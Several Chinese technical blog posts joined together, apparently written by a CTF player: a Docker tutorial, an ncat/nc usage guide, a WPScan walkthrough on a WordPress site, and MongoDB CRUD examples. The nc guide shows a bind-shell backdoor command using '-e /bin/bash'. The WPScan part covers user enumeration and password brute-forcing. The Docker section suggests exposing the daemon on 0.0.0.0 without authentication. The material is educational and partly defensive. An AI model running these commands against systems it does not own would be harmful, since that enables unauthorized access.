–d docker –d = true再由 docker 的 main() 函数来解析以上命令的相应 flag 参数,并最终完成 Docker Daemon 的启动。下图可以很直观地看到 Docker Daemon 的启动流程:默认配置下, Docker daemon 只能响应来自本地 Host 的客户端请求。如果要允许远程客户端请求,需要在配置文件中打开 TCP 监听。我们可以照着如下步骤进行配置:1、编辑配置文件 /etc/systemd/system/multi-user.target.wants/docker.service ,在环境变量 ExecStart 后面添加 -H tcp://0.0.0.0,允许来自任意 IP 的客户端连接。2、重启 Docker daemonsystemctl daemon-reload systemctl restart docker.service3、我们通过以下命令即可实现与远程服务器通信docker -H 服务器IP地址 info-H 是用来指定服务器主机, info 子命令用于查看 Docker 服务器的信息Docker ImageDocker 镜像可以看作是一个特殊的文件系统,除了提供容器运行时所需的程序、库、资源、配置等文件外,还包含了一些为运行时准备的一些配置参数(如匿名卷、环境变量、用户等)。镜像不包含任何动态数据,其内容在构建之后也不会被改变。我们可将 Docker 镜像看成只读模板,通过它可以创建 Docker 容器。镜像有多种生成方法:从无到有开始创建镜像下载并使用别人创建好的现成的镜像在现有镜像上创建新的镜像我们可以将镜像的内容和创建步骤描述在一个文本文件中,这个文件被称作 Dockerfile ,通过执行 docker build <docker-file> 命令可以构建出 Docker 镜像,在后续的教程中,我们会用一篇专门讨论这个问题。Docker RegistryDocker registry 是存储 docker image 的仓库,它在 docker 生态环境中的位置如下图所示:运行docker push、docker pull、docker search时,实际上是通过 docker daemon 与 docker registry通信。Docker ContainerDocker 容器就是 Docker 镜像的运行实例,是真正运行项目程序、消耗系统资源、提供服务的地方。 Docker Container 提供了系统硬件环境,我们可以使用 Docker Images 这些制作好的系统盘,再加上我们所编写好的项目代码, run 一下就可以提供服务啦。Docker组件是如何协作运行容器看到这里,我相信各位读者朋友们应该已经对Docker基础架构已经熟悉的差不多了,我们还记得运行的第一个容器吗?现在我们再通过hello-world这个例子来体会一下 Docker 各个组件是如何协作的。容器启动过程如下:Docker 客户端执行 docker run 命令Docker daemon 发现本地没有 hello-world 镜像daemon 从 Docker Hub 下载镜像下载完成,镜像 hello-world 被保存到本地Docker daemon 启动容器具体过程可以看如下这幅演示图:我们可以通过docker images 可以查看到 hello-world 已经下载到本地我们可以通过docker ps 或者 docker container ls 显示正在运行的容器,我们可以看到, hello-world在输出提示信息以后就会停止运行,容器自动终止,所以我们在查看的时候没有发现有容器在运行。我们把 Docker 容器的工作流程剖析的十分清楚了,我们大体可以知道 Docker 组件协作运行容器可以分为以下几个过程:Docker 客户端执行 docker run 命令Docker daemon 发现本地没有我们需要的镜像daemon 从 Docker Hub 下载镜像下载完成后,镜像被保存到本地Docker daemon 启动容器了解了这些过程以后,我们再来理解这些命令就不会觉得很突兀了,下面我来给大家讲讲 Docker 常用的一些命令操作吧。
Docker是什么?在计算机技术日新月异的今天, Docker 在国内发展的如火如荼,特别是在一线互联网公司, Docker 的使用是十分普遍的,甚至成为了一些企业面试的加分项,不信的话看看下面这张图。这是我在某招聘网站上看到的招聘 Java开发工程师 的招聘要求,其中有一条熟悉 docker 成为了你快速入职的加分项,由此可见熟悉 docker 在互联网公司的地位之重要。当然对于我们 CTF选手 而言,熟悉 docker 可以快速搭建 CTF环境 ,完美地还原比赛真实漏洞的场景,帮助我们快速提升自己。市面上已经有很多优秀的教程,但是很多原理性的东西,笔者认为那些教程对初学者而言还是很难理解,感觉没有说清楚(笔者自己都觉得挺懵逼的),为了让初学者少走弯路,我将以我的学习经历以及作为一个 CTF选手 的角度,编写此套教程,来带大家去了解并熟练运用 docker ,祝愿各位读者朋友们学完此套教程后,在未来企业面试中能够多一项加分的筹码,能够帮助到大家,我觉得就很值了。既然说了这么多, docker 到底是个什么东西呢?我们在理解 docker 之前,首先我们得先区分清楚两个概念,容器和虚拟机。可能很多读者朋友都用过虚拟机,而对容器这个概念比较的陌生。我们用的传统虚拟机如 VMware , VisualBox 之类的需要模拟整台机器包括硬件,每台虚拟机都需要有自己的操作系统,虚拟机一旦被开启,预分配给它的资源将全部被占用。每一台虚拟机包括应用,必要的二进制和库,以及一个完整的用户操作系统。而容器技术是和我们的宿主机共享硬件资源及操作系统,可以实现资源的动态分配。容器包含应用和其所有的依赖包,但是与其他容器共享内核。容器在宿主机操作系统中,在用户空间以分离的进程运行。容器技术是实现操作系统虚拟化的一种途径,可以让您在资源受到隔离的进程中运行应用程序及其依赖关系。通过使用容器,我们可以轻松打包应用程序的代码、配置和依赖关系,将其变成容易使用的构建块,从而实现环境一致性、运营效率、开发人员生产力和版本控制等诸多目标。容器可以帮助保证应用程序快速、可靠、一致地部署,其间不受部署环境的影响。容器还赋予我们对资源更多的精细化控制能力,让我们的基础设施效率更高。通过下面这幅图我们可以很直观的反映出这两者的区别所在。Docker 属于 Linux 容器的一种封装,提供简单易用的容器使用接口。它是目前最流行的 Linux 容器解决方案。而 Linux 容器是 Linux 发展出了另一种虚拟化技术,简单来讲, Linux 容器不是模拟一个完整的操作系统,而是对进程进行隔离,相当于是在正常进程的外面套了一个保护层。对于容器里面的进程来说,它接触到的各种资源都是虚拟的,从而实现与底层系统的隔离。Docker 将应用程序与该程序的依赖,打包在一个文件里面。运行这个文件,就会生成一个虚拟容器。程序在这个虚拟容器里运行,就好像在真实的物理机上运行一样。有了 Docker ,就不用担心环境问题。总体来说, Docker 的接口相当简单,用户可以方便地创建和使用容器,把自己的应用放入容器。容器还可以进行版本管理、复制、分享、修改,就像管理普通的代码一样。Docker的优势Docker相比于传统虚拟化方式具有更多的优势:docker 启动快速属于秒级别。虚拟机通常需要几分钟去启动docker 需要的资源更少, docker 在操作系统级别进行虚拟化, docker 容器和内核交互,几乎没有性能损耗,性能优于通过 Hypervisor 层与内核层的虚拟化docker 更轻量, docker 的架构可以共用一个内核与共享应用程序库,所占内存极小。同样的硬件环境, Docker 运行的镜像数远多于虚拟机数量,对系统的利用率非常高与虚拟机相比, docker 隔离性更弱, docker 属于进程之间的隔离,虚拟机可实现系统级别隔离安全性: docker 的安全性也更弱。 Docker 的租户 root 和宿主机 root 等同,一旦容器内的用户从普通用户权限提升为root权限,它就直接具备了宿主机的root权限,进而可进行无限制的操作。虚拟机租户 root 权限和宿主机的 root 虚拟机权限是分离的,并且虚拟机利用如 Intel 的 VT-d 和 VT-x 的 ring-1 硬件隔离技术,这种隔离技术可以防止虚拟机突破和彼此交互,而容器至今还没有任何形式的硬件隔离,这使得容器容易受到攻击可管理性: docker 的集中化管理工具还不算成熟。各种虚拟化技术都有成熟的管理工具,例如 VMware vCenter 提供完备的虚拟机管理能力高可用和可恢复性: docker 对业务的高可用支持是通过快速重新部署实现的。虚拟化具备负载均衡,高可用,容错,迁移和数据保护等经过生产实践检验的成熟保障机制, VMware 可承诺虚拟机 99.999% 高可用,保证业务连续性快速创建、删除:虚拟化创建是分钟级别的, Docker 容器创建是秒级别的, Docker 的快速迭代性,决定了无论是开发、测试、部署都可以节约大量时间交付、部署:虚拟机可以通过镜像实现环境交付的一致性,但镜像分发无法体系化。 Docker 在 Dockerfile 中记录了容器构建过程,可在集群中实现快速分发和快速部署我们可以从下面这张表格很清楚地看到容器相比于传统虚拟机的特性的优势所在:特性容器虚拟机启动秒级分钟级硬盘使用一般为MB一般为GB性能接近原生弱于系统支持量单机支持上千个容器一般是几十个Docker的三个基本概念从上图我们可以看到,Docker 中包括三个基本的概念:Image(镜像)Container(容器)Repository(仓库)镜像是 Docker 运行容器的前提,仓库是存放镜像的场所,可见镜像更是 Docker 的核心。Image (镜像)那么镜像到底是什么呢?Docker 镜像可以看作是一个特殊的文件系统,除了提供容器运行时所需的程序、库、资源、配置等文件外,还包含了一些为运行时准备的一些配置参数(如匿名卷、环境变量、用户等)。镜像不包含任何动态数据,其内容在构建之后也不会被改变。镜像(Image)就是一堆只读层(read-only layer)的统一视角,也许这个定义有些难以理解,下面的这张图能够帮助读者理解镜像的定义。从左边我们看到了多个只读层,它们重叠在一起。除了最下面一层,其它层都会有一个指针指向下一层。这些层是Docker 内部的实现细节,并且能够在主机的文件系统上访问到。统一文件系统 (union file system) 技术能够将不同的层整合成一个文件系统,为这些层提供了一个统一的视角,这样就隐藏了多层的存在,在用户的角度看来,只存在一个文件系统。我们可以在图片的右边看到这个视角的形式。Container (容器)容器 (container) 的定义和镜像 (image) 几乎一模一样,也是一堆层的统一视角,唯一区别在于容器的最上面那一层是可读可写的。由于容器的定义并没有提及是否要运行容器,所以实际上,容器 = 镜像 + 读写层。Repository (仓库)Docker 仓库是集中存放镜像文件的场所。镜像构建完成后,可以很容易的在当前宿主上运行,但是, 如果需要在其它服务器上使用这个镜像,我们就需要一个集中的存储、分发镜像的服务,Docker Registry (仓库注册服务器)就是这样的服务。有时候会把仓库 (Repository) 和仓库注册服务器 (Registry) 混为一谈,并不严格区分。Docker 仓库的概念跟 Git 类似,注册服务器可以理解为 GitHub 这样的托管服务。实际上,一个 Docker Registry 中可以包含多个仓库 (Repository) ,每个仓库可以包含多个标签 (Tag),每个标签对应着一个镜像。所以说,镜像仓库是 Docker 用来集中存放镜像文件的地方类似于我们之前常用的代码仓库。通常,一个仓库会包含同一个软件不同版本的镜像,而标签就常用于对应该软件的各个版本 。我们可以通过<仓库名>:<标签>的格式来指定具体是这个软件哪个版本的镜像。如果不给出标签,将以 latest 作为默认标签.。仓库又可以分为两种形式:public(公有仓库)private(私有仓库)Docker Registry 公有仓库是开放给用户使用、允许用户管理镜像的 Registry 服务。一般这类公开服务允许用户免费上传、下载公开的镜像,并可能提供收费服务供用户管理私有镜像。除了使用公开服务外,用户还可以在本地搭建私有 Docker Registry 。Docker 官方提供了 Docker Registry 镜像,可以直接使用做为私有 Registry 服务。当用户创建了自己的镜像之后就可以使用 push 命令将它上传到公有或者私有仓库,这样下次在另外一台机器上使用这个镜像时候,只需要从仓库上 pull 下来就可以了。我们主要把 Docker 的一些常见概念如 Image , Container , Repository 做了详细的阐述,也从传统虚拟化方式的角度阐述了 docker 的优势,我们从下图可以直观地看到 Docker 的架构:Docker 使用 C/S 结构,即客户端/服务器体系结构。 Docker 客户端与 Docker 服务器进行交互,Docker服务端负责构建、运行和分发 Docker 镜像。 Docker 客户端和服务端可以运行在一台机器上,也可以通过 RESTful 、 stock 或网络接口与远程 Docker 服务端进行通信。这张图展示了 Docker 客户端、服务端和 Docker 仓库(即 Docker Hub 和 Docker Cloud ),默认情况下Docker 会在 Docker 中央仓库寻找镜像文件,这种利用仓库管理镜像的设计理念类似于 Git ,当然这个仓库是可以通过修改配置来指定的,甚至我们可以创建我们自己的私有仓库。Docker的安装和使用Docker 的安装和使用有一些前提条件,主要体现在体系架构和内核的支持上。对于体系架构,除了 Docker 一开始就支持的 X86-64 ,其他体系架构的支持则一直在不断地完善和推进中。Docker 分为 CE 和 EE 两大版本。 CE 即社区版(免费,支持周期 7 个月), EE 即企业版,强调安全,付费使用,支持周期 24 个月。我们在安装前可以参看官方文档获取最新的 Docker 支持情况,官方文档在这里:https://docs.docker.com/install/Docker 对于内核支持的功能,即内核的配置选项也有一定的要求(比如必须开启 Cgroup 和 Namespace 相关选项,以及其他的网络和存储驱动等), Docker 源码中提供了一个检测脚本来检测和指导内核的配置,脚本链接在这里:https://raw.githubusercontent.com/docker/docker/master/contrib/check-config.sh在满足前提条件后,安装就变得非常的简单了。Docker CE 的安装请参考官方文档:MacOS:https://docs.docker.com/docker-for-mac/install/Windows:https://docs.docker.com/docker-for-windows/install/Ubuntu:https://docs.docker.com/install/linux/docker-ce/ubuntu/Debian:https://docs.docker.com/install/linux/docker-ce/debian/CentOS:https://docs.docker.com/install/linux/docker-ce/centos/Fedora:https://docs.docker.com/install/linux/docker-ce/fedora/其他 Linux 发行版:https://docs.docker.com/install/linux/docker-ce/binaries/这里我们以 CentOS7 作为本文的演示。环境准备阿里云服务器(1核2G,1M带宽)CentOS 7.4 64位由于 Docker-CE 支持 64 位版本的 CentOS7 ,并且要求内核版本不低于 3.10首先我们需要卸载掉旧版本的 Docker$ sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-selinux \ docker-engine-selinux \ docker-engine我们执行以下安装命令去安装依赖包:$ sudo yum install -y yum-utils \ device-mapper-persistent-data \ lvm2这里我事先已经安装过了,所以提示我已经安装了最新版本
一文让你熟练掌握Linux的ncat(nc)命令ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。ncat/nc 既是一个端口扫描工具,也是一款安全工具,还是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀。 这是每个系统管理员都应该知道并且掌握它。在大多数 Debian 发行版中,nc 是默认可用的,它会在安装系统的过程中自动被安装。 但是在 CentOS 7/RHEL 7 的最小化安装中,nc 并不会默认被安装。 你需要用下列命令手工安装。yum install nmap-ncat -y系统管理员可以用它来审计系统安全,用它来找出开放的端口然后保护这些端口。 管理员还能用它作为客户端来审计 Web 服务器、telnet 服务器、邮件服务器等, 通过 nc 我们可以控制发送的每个字符,也可以查看对方的回应。我们还可以用它捕获客户端发送的数据以此来了解这些客户端是做什么的。在本文中,我们会通过下面这些例子来学习如何使用 nc 命令。1) 监听入站连接通过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。 完整的命令是这样的:ncat -l port_number比如ncat -l 8080服务器就会开始在 8080 端口监听入站连接。2) 连接远程系统使用下面命令可以用 nc 来连接远程系统ncat IP_address port_number我们来看个例子ncat 192.168.1.100 80这会创建一个连接,连接到 IP 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容GET / HTTP/1.1或者获取页面名称GET / HTTP/1.1或者我们可以通过以下方式获得操作系统指纹标识HEAD / HTTP/1.1这会告诉我们使用的是什么软件来运行这个 web 服务器的3) 连接 UDP 端口默认情况下,nc 创建连接时只会连接 TCP 端口。 不过我们可以使用 -u 选项来连接到 UDP 端口ncat -l -u 1234现在我们的系统会开始监听 UDP 的 1234 端口,我们可以使用下面的 netstat 命令来验证这一点netstat -tunlp | grep 1234 udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc udp6 0 0 :::1234 :::* 17341/nc假设我们想发送或者说测试某个远程主机 UDP 端口的连通性,我们可以使用下面命令ncat -v -u {host-ip} {udp-port}比如ncat -v -u 192.168.105.150 53 Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Connected to 192.168.105.150:534) 将 nc 作为聊天工具nc 也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:ncat -l 8080在远程客户端主机上运行:ncat 192.168.1.100 8080之后开始发送消息,这些消息会在服务器终端上显示出来。5) 将 nc 作为代理nc 也可以用来做代理。比如下面这个例子ncat -l 8080 | ncat 192.168.1.200 80所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点mkfifo 2way ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way现在你可以通过 nc 代理来收发数据了6) 使用 nc 拷贝文件nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。 不过如果你恰好遇见个没有 ssh/scp 的系统的话, 你可以用 nc 来作最后的努力。在要接受数据的机器上启动 nc 并让它进入监听模式:ncat -l 8080 > file.txt现在去要被拷贝数据的机器上运行下面命令:ncat 192.168.1.100 8080 --send-only < data.txt这里,data.txt 是要发送的文件。 -–send-only 选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 我们需要手工按下 ctrl+c 来关闭连接。我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心7) 通过 nc 创建后门nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:ncat -l 10000 -e /bin/bash-e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:ncat 192.168.1.100 100008) 通过 nc 进行端口转发我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:ncat -u -l 80 -c 'ncat -u -l 8080'这样,所有连接到 80 端口的连接都会转发到 8080 端口9) 设置连接超时nc 的监听模式会一直运行,直到手工终止。 不过我们可以通过选项 -w 设置超时时间:ncat -w 10 192.168.1.100 8080这会导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。10) 使用 -k 选项强制 nc 待命当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。 命令如下:ncat -l -k 8080现在即使来自客户端的连接断了也依然会处于待命状态
记一次用WPScan辅助渗透WordPress站点一、什么是WPScan?WPScan 是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。我们还使用了 Nikto ,它是一款非常棒的 Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分。 Wordpress 作为三大建站模板之一,在全世界范围内有大量的用户,这也导致白帽子都会去跟踪 WordPress 的安全漏洞,Wordpress 自诞生起也出现了很多漏洞。 Wordpress 还可以使用插件、主题。于是 Wordpress 本身很难挖掘什么安全问题的时候,安全研究者开始研究其插件、主题的漏洞。通过插件、主题的漏洞去渗透Wordpress 站点,于是 WPScan应运而生,收集 Wordpress 的各种漏洞,形成一个 Wordpress 专用扫描器。该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的 Wordpress 站点暴力破解用户名密码。WPScan已经被预安装在以下Linux系统中:BackBox LinuxKali LinuxPentooSamuraiWTFBlackArch二、WPScan的安装和使用由于 Windows 不支持 WPScan 。最新版本的 WPScan 可以在 Linux 或 Mac 上下载使用:Debian/Ubuntu下安装:sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby libxml2 libxml2-dev libxslt1-dev ruby-dev git clone https://github.com/wpscanteam/wpscan.git cd wpscan sudo gem install bundler &amp;&amp; bundle install --without test developmentFedora下安装:sudo yum install gcc ruby-devel libxml2 libxml2-devel libxslt libxslt-devel libcurl-devel git clone https://github.com/wpscanteam/wpscan.git cd wpscan sudo gem install bundler &amp;&amp; bundle install --without test developmentArchlinux下安装:pacman -Syu ruby pacman -Syu libyaml git clone https://github.com/wpscanteam/wpscan.git cd wpscan sudo gem install bundler &amp;&amp; bundle install --without test development gem install typhoeus gem install nokogiriMAC OSX下安装:git clone https://github.com/wpscanteam/wpscan.git cd wpscan sudo gem install bundler &amp;&amp; bundle install --without test development具体参考:https://wpscan.org/常见参数选项:--update 更新到最新版本 --url | -u <target url> 要扫描的WordPress站点. --force | -f 不检查网站运行的是不是WordPress --enumerate | -e [option(s)] 枚举.Option:u 枚举用户名,默认从1-10 u[10-20] 枚举用户名,配置从10-20 p 枚举插件 vp 只枚举有漏洞的插件 ap 枚举所有插件,时间较长 tt 列举缩略图相关的文件 t 枚举主题信息 vt 只枚举存在漏洞的主题 at 枚举所有主题,时间较长 可以指定多个扫描选项,例:"-e tt,p" 如果没有指定选项,默认选项为:"vt,tt,u,vp" --exclude-content-based "<regexp or string>" 当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹 --config-file | -c <config file> 使用指定的配置文件 --user-agent | -a <User-Agent> 指定User-Agent --cookie <String> 指定cookie --random-agent | -r 使用随机User-Agent --follow-redirection 如果目标包含一个重定向,则直接跟随跳转 --batch 无需用户交互,都使用默认行为 --no-color 不要采用彩色输出 --wp-content-dir <wp content dir> WPScan会去发现wp-content目录,用户可手动指定 --wp-plugins-dir <wp plugins dir> 指定wp插件目录,默认是wp-content/plugins --proxy <[protocol://]host:port> 设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议 --proxy-auth <username:password> 设置代理登陆信息 --basic-auth <username:password> 设置基础认证信息 --wordlist | -w <wordlist> 指定密码字典 --username | -U <username> 指定爆破的用户名 --usernames <path-to-file> 指定爆破用户名字典 --threads | -t <number of threads> 指定多线程 --cache-ttl <cache-ttl> 设置 cache TTL. --request-timeout <request-timeout> 请求超时时间 --connect-timeout <connect-timeout> 连接超时时间 --max-threads <max-threads> 最大线程数 --throttle <milliseconds> 当线程数设置为1时,设置两个请求之间的间隔 --help | -h 输出帮助信息 --verbose | -v 输出Verbose --version 输出当前版本三、WPScan的辅助渗透WordPress站点演示环境准备Kali LinuxWPScan工具(Kali Linux里面已经预装好了)CentOS 7WordPress环境(预先在CentOS 7里面搭建好了环境)渗透过程1、更新漏洞数据库在使用WPScan之前,先更新它的漏洞数据库:wpscan --update我们直接查看下当前版本:2、扫描WordPress漏洞接下来使用下面的命令来扫描可能存在的漏洞网站:wpscan ––url [wordpress url]这里我直接用我自己的站点为例子进行演示wpscan --url http://angelkitty.xin/效果如下:3、扫描wordpress用户我们可以对其用户进行枚举:wpscan ––url [wordpress url] –-enumerate u4、暴力破解wpscan ––url [wordpress url] ––wordlist [path to wordlist] ––username [username to brute force] ––threads [number of threads to use]既然当前有两个用户 angel_kitty 和 test ,我们直接把两个均枚举出来wpscan -u 119.23.243.4 -e u --wordlist /root/桌面/password.txt这里我也有个问题一直没解决,就是用 url 去指定域名和用 username 去指定用户均不太好使,直接就 302 调整爆出了 password ,连字典都没去查,也不知道咋回事,查了 wpscan 的 Issue ,可能是 wpscan 升级了以后,新版本和老版本命令上有所差异,具体以后分析一下 wpscan 的源码,所以演示出这个效果弄了整整一天。演示效果如下:视频演示也欢迎大家关注我的bilibili账号:Angel_Kitty,不定期发送一些演示视频教程四、WordPress的防护措施如果你想要避免WordPress用户列表被列举,不要把用户名作为昵称,并且不要使用已经被大众知道的用户名。最好的方式是选择一个包含随机字符的名字做用户名并且使用其他名字作为昵称。 WPScan 扫描 URL 来获取用户名,所以如果你不使用这个用户名,你肯定不会被 WPScan 搜索到。防止暴力破解的最好方式是限制一个 IP 地址的尝试登录次数。 WordPress 有很多插件可以实现这个功能。我使用的一个插件叫: Brute Force Login Protection 。
四、增删改查操作1、添加文档db.集合名.insert({k1:v1,k2:v2...}) :向当前数据库的该集合下添加文档我们在添加文档的时候有如下注意点:a) 文档就是键值对,数据类型是 BSON 格式,支持的值更加丰富。 BSON 是 JSON 的扩展,新增了诸如日期,浮点等 JSON 不支持的数据类型。b) 在添加的文档里面,都有一个 '_id' 的键,值为对象类型 ObjectID ,在这里,我们解释下 ObjectID 类型:每个文档都有一个 _id 字段,并且同一集合中的 _id 值唯一,该字段可以是任意类型的数据,默认是一个 ObjectID 对象。ObjectID 对象数据组成:时间戳|机器码|PID|计数器_id 的键值我们可以自己输入,但是不能重复,但要注意的一点是在插入数据的时候,如果 _id 的值重复则会报错c) 可以使用 js 代码来完成批量插入文档example:> for(var i=1;i<=10;i++){ ... db.php.insert({'name':'xiaobai'+i,'age':i,'email':'xiaobai'+i+'@gmail.com'}) ... } WriteResult({ "nInserted" : 1 }) > db.php.find() { "_id" : ObjectId("5b931b74a39e4f4842ba36b3"), "name" : "xiaoming", "age" : 20, "email" : "xiaoming@gmail.com" } { "_id" : ObjectId("5b931b7ca39e4f4842ba36b4"), "name" : "xiaohong", "age" : 18, "email" : "xiaohong@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36b5"), "name" : "xiaobai1", "age" : 1, "email" : "xiaobai1@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36b6"), "name" : "xiaobai2", "age" : 2, "email" : "xiaobai2@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36b7"), "name" : "xiaobai3", "age" : 3, "email" : "xiaobai3@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36b8"), "name" : "xiaobai4", "age" : 4, "email" : "xiaobai4@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36b9"), "name" : "xiaobai5", "age" : 5, "email" : "xiaobai5@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36ba"), "name" : "xiaobai6", "age" : 6, "email" : "xiaobai6@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bb"), "name" : "xiaobai7", "age" : 7, "email" : "xiaobai7@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bc"), "name" : "xiaobai8", "age" : 8, "email" : "xiaobai8@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bd"), "name" : "xiaobai9", "age" : 9, "email" : "xiaobai9@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36be"), "name" : "xiaobai10", "age" : 10, "email" : "xiaobai10@gmail.com" }2、删除文档db.集合名.remove{(条件)} :删除当前数据库下指定集合中满足条件的文档(不写条件则删除所有的文档)example:> db.php.remove({age:20}) WriteResult({ "nRemoved" : 1 }) > db.php.remove({age:{'$lt':6}}) WriteResult({ "nRemoved" : 5 }) > db.php.find() { "_id" : ObjectId("5b931b7ca39e4f4842ba36b4"), "name" : "xiaohong", "age" : 18, "email" : "xiaohong@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36ba"), "name" : "xiaobai6", "age" : 6, "email" : "xiaobai6@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bb"), "name" : "xiaobai7", "age" : 7, "email" : "xiaobai7@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bc"), "name" : "xiaobai8", "age" : 8, "email" : "xiaobai8@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bd"), "name" : "xiaobai9", "age" : 9, "email" : "xiaobai9@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36be"), "name" : "xiaobai10", "age" : 10, "email" : "xiaobai10@gmail.com" }这里我们在删除 php 集合中年龄小于6的文档时,我们使用了操作符来完成。比较运算符操作符效果$gt大于$lt小于$gte大于等于$lte小于等于$exists存在与否$in包含$ne不等于$nin不包含逻辑运算符操作符效果$exists存在与否$or或者$and并且$not不存在$mod求模$where位置特别的 $exists: true 表示字段存在排序 sort操作效果$asc升序$desc降序3、更新文档更新文档有两种方式进行修改方法一、直接修改db.集合名.update({条件},{新的文档}) :修改当前数据库下指定集合中满足条件的文档信息example:> db.php.find() { "_id" : ObjectId("5b931b7ca39e4f4842ba36b4"), "name" : "xiaohong", "age" : 18, "email" : "xiaohong@gmail.com" } > db.php.update({age:18},{name:'xiaobai5'}) WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 }) > db.php.find() { "_id" : ObjectId("5b931b7ca39e4f4842ba36b4"), "name" : "xiaobai5" }db.集合.update(条件,新文档,是否新增,是否修改多条) :修改当前数据库下指定集合中满足条件的文档信息是否新增:如果值是1(true)则没有满足条件的 则添加是否修改多条:若值是1(true),如果满足条件的有多个文档 则都要修改example:> db.php.update({age:10},{name:'xiaoli'},true,true) WriteResult({ "nMatched" : 0, "nUpserted" : 0, "nModified" : 0, "writeError" : { "code" : 9, "errmsg" : "multi update only works with $ operators" } })方法二、使用修改器example:我们要修改 age=6 的文档名称为 xiaosan ,并且其他键值不能丢失我们可以使用修改器$inc :加上一个数字$set :修改某一个字段,如果该字段不存在就增这个字段语法:db.集合名.update({条件},{修改器名称:{修改的键:修改的新值}})> db.php.update({age:6},{'$set':{name:'xiaosan'}}) WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })那如果我们要修改 age=10 的文档的年龄增加十岁,我们可以这样做:> db.php.update({age:10},{$inc:{age:10}}) WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })4、查询文档语法: db.集合名.find({条件})example:取出 php 集合里面的第一个文档> db.php.findOne() { "_id" : ObjectId("5b931b7ca39e4f4842ba36b4"), "name" : "xiaobai5" }取出 php 集合里面 age=6 的文档> db.php.find({age:6}) { "_id" : ObjectId("5b931dfba39e4f4842ba36ba"), "name" : "xiaosan", "age" : 6, "email" : "xiaobai6@gmail.com" }取出 php 集合里面 age>8 的文档> db.php.find({age:{'$gt':8}}) { "_id" : ObjectId("5b931dfba39e4f4842ba36bd"), "name" : "xiaobai9", "age" : 9, "email" : "xiaobai9@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36be"), "name" : "xiaobai10", "age" : 20, "email" : "xiaobai10@gmail.com" }取出 php 集合里面的文档,只显示 name 键> db.php.find({},{age:1})//1表示只显示age键值 { "_id" : ObjectId("5b931b7ca39e4f4842ba36b4") } { "_id" : ObjectId("5b931dfba39e4f4842ba36ba"), "age" : 6 } { "_id" : ObjectId("5b931dfba39e4f4842ba36bb"), "age" : 7 } { "_id" : ObjectId("5b931dfba39e4f4842ba36bc"), "age" : 8 } { "_id" : ObjectId("5b931dfba39e4f4842ba36bd"), "age" : 9 } { "_id" : ObjectId("5b931dfba39e4f4842ba36be"), "age" : 20 } > db.php.find({},{age:0})//1表示除了显示age键值,其他的都显示 { "_id" : ObjectId("5b931b7ca39e4f4842ba36b4"), "name" : "xiaobai5" } { "_id" : ObjectId("5b931dfba39e4f4842ba36ba"), "name" : "xiaosan", "email" : "xiaobai6@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bb"), "name" : "xiaobai7", "email" : "xiaobai7@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bc"), "name" : "xiaobai8", "email" : "xiaobai8@gmail.com" } { "_id" : ObjectId("5b931dfba39e4f4842ba36bd"), "name" : 